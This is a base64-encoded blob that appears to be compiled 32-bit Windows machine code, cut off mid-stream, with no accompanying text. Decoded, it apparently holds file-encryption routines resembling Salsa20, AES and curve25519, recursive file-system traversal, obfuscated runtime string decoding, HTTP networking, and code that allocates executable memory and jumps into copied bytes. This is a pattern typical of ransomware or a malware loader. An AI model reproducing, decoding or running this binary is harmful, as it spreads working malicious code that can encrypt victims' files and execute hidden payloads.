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UQ////UI2FYP///1Do9hMAAI2FYP///1CNRbBQ6OYTAAD/dQyNRbBQjYXA/v//UOj1CwAAjYUQ////UI2FwP7//1CNhXD+//9Q6NsLAACNhXD+//9QjUWwUOipEwAAjYXA/v//UI1FsFCNhRD///9Q6LQLAACDxESNhRD///9QjUWwUOh/EwAAjUWwUI2FYP///1DobxMAAI2FYP///1CNRbBQ6F8TAACNRbBQjYVg////UOhPEwAAjYVg////UI1FsFDoPxMAAI2FEP///1CNRbBQjYXA/v//UOhKCwAAjYXA/v//UI1FsFDoGBMAAI1FsFCNhWD///9Q6AgTAACDxERqBF+L942FYP///1CNRbBQ6PASAACNRbBQjYVg////UOjgEgAAg8QQg+4BddiNhcD+//9QjYVg////UI2FEP///1Do4AoAAI2FEP///1CNRbBQ6K4SAACNRbBQjYVg////UOieEgAAg8QcaglejYVg////UI1FsFDoiBIAAI1FsFCNhWD///9Q6HgSAACDxBCD7gF12I2FEP///1CNhWD///9QjUWwUOh7CgAAjUWwUI2FYP///1DoSRIAAI2FYP///1CNRbBQ6DkSAACDxByNRbBQjYVg////UOgmEgAAjYVg////UI1FsFDoFhIAAIPEEIPvAXXYjYXA/v//UI1FsFCNhRD///9Q6BkKAACNhRD///9QjUWwUOjnEQAAjUWwUI2FYP///1Do1xEAAIPEHGoYXov+jYVg////UI1FsFDovxEAAI1FsFCNhWD///9Q6K8RAACDxBCD7wF12I2FEP///1CNhWD///9QjYXA/v//UOivCQAAjYXA/v//UI2FYP///1DoehEAAI2FYP///1CNRbBQ6GoRAACDxBxqMV+NRbBQjYVg////UOhUEQAAjYVg////UI1FsFDoRBEAAIPEEIPvAXXYjYXA/v//UI1FsFCNhWD///9Q6EcJAACNhWD///9QjUWwUOgVEQAAjUWwUI2FYP///1DoBREAAIPEHI2FYP///1CNRbBQ6PIQAACNRbBQjYVg////UOjiEAAAg8QQg+4BddiNhRD///9QjYVg////UI1FsFDo5QgAAI1FsFCNhWD///9Q6LMQAACNhWD///9QjUWwUOijEAAAjUWwUI2FYP///1DokxAAAI2FYP///1CNRbBQ6IMQAACNRbBQjYVg////UOhzEAAAjYVw/v//UI2FYP///1D/dQjofwgAAIPEQF9ei+Vdw1WL7IHsGAEAAGog/3UMjUXgUOhGuP//ikX//3UQgGXg+CQ/DECIRf+NRZBQ6CsDAACNRZBQjUXgUI2FOP///1CNhej+//9Q6Nb5//+NhTj///9QjUWQUOjV+///jUWQUI2F6P7//1CNhTj///9Q6AMIAACNhTj///9Q/3UI6AkAAACDxEAzwIvlXcNVi+yLVQyD7EAzyYsEyolEjcBBg/kKfPNTVldqAl+L9zPbi0ydwIvRwfofi8H2wwF0DsH4GSPQ99qLwsHgGesMwfgaI9D32ovCweAaKVSdxAPBiUSdwEOD+wl8xotN5IvRwfofi8HB+Bkj0Pfai8LB4BkDyGvC7YtVwIlN5APQiVXAg+4BdZmLyovCwfgau////wHB+R8jyPfZi8HB4BoD0ClNxIlVwDPSi0SVwIvI9sIBdAfB+Rkjw+sIwfkaJf///wMBTJXEiUSVwEKD+gl82ItF5IvIi3XAI8PB+RmJReRrwRMD8Il1wIPvAXW5jZYTAAD8M9vB+h+/////AUP30old+Ild/PbDAXQDV+sFaP///wP/dJ3A6FgSAAAj0ENZWYP7Cnzgi134i8Il7f//AyvwiXXAi8L2wwF0BCPH6wUl////AylEncBDg/sKfOaLRczB4AWJRfiLRdDB4AaJRfyLRdiLdQgDwIlF9ItF3MHgA4lF8ItF4ItNwMHgBIlF7ItF5MHgBotVxIlF6IvBwfgIiEYBi8GLXcjB+BCIRgLB4gKLwsHjA8H4CIhGBIvCwfgQiEYFi8PB+AiIRgeLw8H4EIgOiEYIwfkYCsrB+hiITgMK04tN+IvBwfgIiEYKi8HB+BCIRguIVgaLVfyLwsH4CIhGDYvCwfsYCtnB+BDB+RgKyohGDohODItN1IvBwfgIiEYRi8HB+hjB+BCIVg+LVfSIThCIXgmIRhLB+RiLwgrKwfgIiEYUi8LB+BCIRhWIThOLTfCLwcH4CIhGF4vBwfgQwfoYCtGIRhiIVhaLVeyLwsH4CIhGGovCwfkYCsrB+BCIRhuIThmLTeiLwcH4CIhGHYvBwfoYCtHB+BDB+RhfiFYciEYeiE4fXluL5V3DVYvsi1UIVot1DFdqCivyX4sMFisKi0QWBBtCBIkKjVIIiUL8g+8BdedfXl3DVYvsU4tdDFZXi30ID7ZDApmL8IvKD7ZDA5kPpMIIC8rB4AgL8A+2Aw+k8RCZM8nB5hAL8A+2QwGZgeb///8DD6TCCAvKweAIC/CJTwSJN4pDBiQHD7bAmYvIi/IPtkMFD6TOCJnB4QgL8gvID7ZDBA+kzgiZweEIC/ILyIpDAw+kzgbA6AIPtsCZweEGC/ILyIl3DIlPCIpDCSQfD7bAmYvIi/IPtkMID6TOCJnB4QgL8gvID7ZDBw+kzgiZweEIC/ILyIpDBg+kzgXB4QXA6AMPtsCZC8gL8olPEIl3FIpDDCQ/D7bAmYvIi/IPpM4ID7ZDC5kL8sHhCAvID7ZDCg+kzgiZC/LB4QgLyIpDCQ+kzgPA6AUPtsCZC/LB4QMLyIl3HIlPGA+2Qw+Zi8iL8g+2Qw4PpM4ImQvyweEIC8gPtkMND6TOCJkL8sHhCAvIikMMD6TOAsDoBg+2wJkL8sHhAgvIiXckiU8gD7ZDE5mL8IvKD7ZDEg+k8QiZweYIC8oL8A+2QxAPpPEQmTPJweYQC/APtkMRmYHm////AQ+kwgjB4AgL8AvKiXcoiU8sikMWJAcPtsCZi8iL8g+kzggPtkMVmcHhCAvyC8gPtkMUD6TOCJnB4QgL8gvIikMTD6TOB9DoD7bAmcHhBwvyC8iJdzSJTzCKQxkkDw+2wJmLyIvyD7ZDGA+kzgiZweEIC/ILyA+2QxcPpM4ImcHhCAvyC8iKQxYPpM4FwOgDD7bAmcHhBQvyC8iJdzyJTziKQxwkPw+2wJmLyIvyD7ZDGw+kzgiZweEIC/ILyA+2QxoPpM4ImcHhCAvyC8iKQxkPpM4EweEEwOgED7bAmQvIC/KJT0CJd0SKQx8kfw+2wJmLyIvyD7ZDHg+kzgiZweEIC/ILyA+2Qx0PpM4ImcHhCAvyC8iKQxwPpM4CwOgGD7bAweECmQvIC/KJd0yJT0hfXltdw1WL7IHsyAEAAFaLdRhXahRZ/3Ucjb2A/v///3UY86XocA0AAI2FgP7//1D/dRzozPz//4t1II29gP7//2oUWf91JPOl/3Ug6EgNAACNhYD+//9Q/3Uk6KT8////dRyNhdD+////dSBQ6CUCAAD/dSSNhWj/////dRhQ6BMCAACNhdD+//9Q6OkHAACNhdD+//9Q6MkGAACDxECNhWj///9Q6M4HAACNhWj///9Q6K4GAABqFFmNhWj///9QjYXQ/v//jbXQ/v//jb2A/v//86VQ6L4MAACNhYD+//9QjYVo////UOgW/P//jYXQ/v//UI2FOP7//1DoKAkAAI2FaP///1CNhdD+//9Q6BUJAAD/dSiNhdD+//9QjYVo////UOhtAQAAjYVo////UOhDBwAAjYVo////UOgjBgAAi30QjbU4/v//ahRZ86WLfRSNhTj+//9qFFn/dRiNtWj////zpVDovAgAAIPERI2FaP////91HFDoqggAAI2FaP///1CNhTj+//9Q/3UI6AIBAAD/dQjo3AYAAP91COjABQAAjYU4/v//UI2FaP///1DoTPv//2pIjYUg////agBQ6I+w//+DxDAz9moAaEHbAQD/tDVs/////7Q1aP///+jRKAAAiYQ10P7//4mUNdT+//+DxgiD/lBy0I2F0P7//1DoXAUAAI2FOP7//1CNhdD+//9Q6H0LAACNhdD+//9QjYVo////UP91DOhlAAAA/3UM6D8GAAD/dQzoIwUAAIPEIF9ei+Vdw1WL7IHsmAAAAI2FaP///1ZX/3UQ/3UMUOgvAAAAjYVo////UOgFBgAAjYVo////UOjlBAAAi30IjbVo////g8QUahRZ86VfXovlXcNVi+yLTQhTi10MVleLfRCLA/cviQGJUQSLQwj3L4vIi/KLA/dvCAPIi0UIE/KJSAiJcAyLQwj3bwiLyIvyiwP3bxAPpM4BA8kDyItDEBPy9y8DyItFCBPyiUgQiXAUiwP3bxiLyIvyi0MI928QA8iLQxAT8vdvCAPIi0MYE/L3LwPIi0UIE/KJSBiJcByLQxj3bwiLyIvyi0MI928YA8iLQxAT8vdvEA+kzgEDyQPIi0MgE/L3LwPIiwMT8vdvIAPIi0UIE/KJSCCJcCSLA/dvKIvIi/KLQwj3byADyItDGBPy928QA8iLQyAT8vdvCAPIi0MoE/L3LwPIi0MQE/L3bxgDyItFCBPyiUgoiXAsi0MY928Yi8iL8otDKPdvCAPIi0MIE/L3bygDyItDIBPy928QD6TOAQPJA8iLAxPy928wA8iLQzAT8vcvA8iLQxAT8vdvIAPIi0UIE/KJSDCJcDSLQxj3byCLyIvyi0MQ928oA8iLQygT8vdvEAPIi0MwE/L3bwgDyItDIBPy928YA8gT8osD9284A8iLQwgT8vdvMAPIi0M4E/L3LwPIi0UIE/KJSDiJcDyLQzj3bwiLyIvyi0MI9284A8iLQxgT8vdvKAPIi0MoE/L3bxgDyItDEBPy928wD6TOAQPJA8iLQyAT8vdvIAPIiwMT8vdvQAPIi0MwE/L3bxADyItDQBPy9y8DyItFCBPyiUhAiXBEi0Mg928oi8iL8otDQPdvCAPIiwMT8vdvSAPIi0NIE/L3LwPIi0MIE/L3b0ADyItDMBPy928YA8iLQxgT8vdvMAPIi0M4E/L3bxADyItDEBPy9284A8iLQygT8vdvIAPIi0UIE/KJSEiJcEyLQxj3bziLyIvyi0M4928YA8iLQ0gT8vdvCAPIi0MoE/L3bygDyItDCBPy929IA8iLQyAT8vdvMA+kzgEDyQPIi0MwE/L3byADyItDQBPy928QA8iLQxAT8vdvQAPIi0UIE/KJSFCJcF